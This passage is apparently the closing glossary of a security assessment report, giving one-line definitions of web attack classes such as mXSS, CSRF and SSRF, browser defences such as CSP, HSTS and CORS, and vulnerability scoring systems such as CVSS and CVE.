- **mXSS:** Mutation Cross-Site Scripting - XSS via parser differences
- **CSRF:** Cross-Site Request Forgery - Unauthorized actions on behalf of authenticated user
- **SSRF:** Server-Side Request Forgery - Attacker-induced requests from server/client
- **ORB:** Opaque Response Blocking - Browser security feature preventing cross-origin reads

Security Mechanisms:

- **CSP:** Content Security Policy - HTTP header restricting resource loading
- **HSTS:** HTTP Strict Transport Security - Forces HTTPS connections
- **CORS:** Cross-Origin Resource Sharing - Controls cross-origin requests
- **SameSite:** Cookie attribute preventing CSRF attacks

Scoring Systems:

- **CVSS:** Common Vulnerability Scoring System - Standardized vulnerability severity rating
- **CWE:** Common Weakness Enumeration - Dictionary of software weaknesses
- **CVE:** Common Vulnerabilities and Exposures - Public vulnerability database

Technical Terms:

- **Sanitization:** Process of removing/escaping dangerous content
- **HTML Escaping:** Converting special characters to HTML entities
- **Template Engine:** System for generating HTML from templates and data

- **Rate Limiting:** Restricting number of requests in time period
- **Bounded Channel:** Fixed-capacity communication queue

END OF COMPREHENSIVE SECURITY ASSESSMENT REPORT

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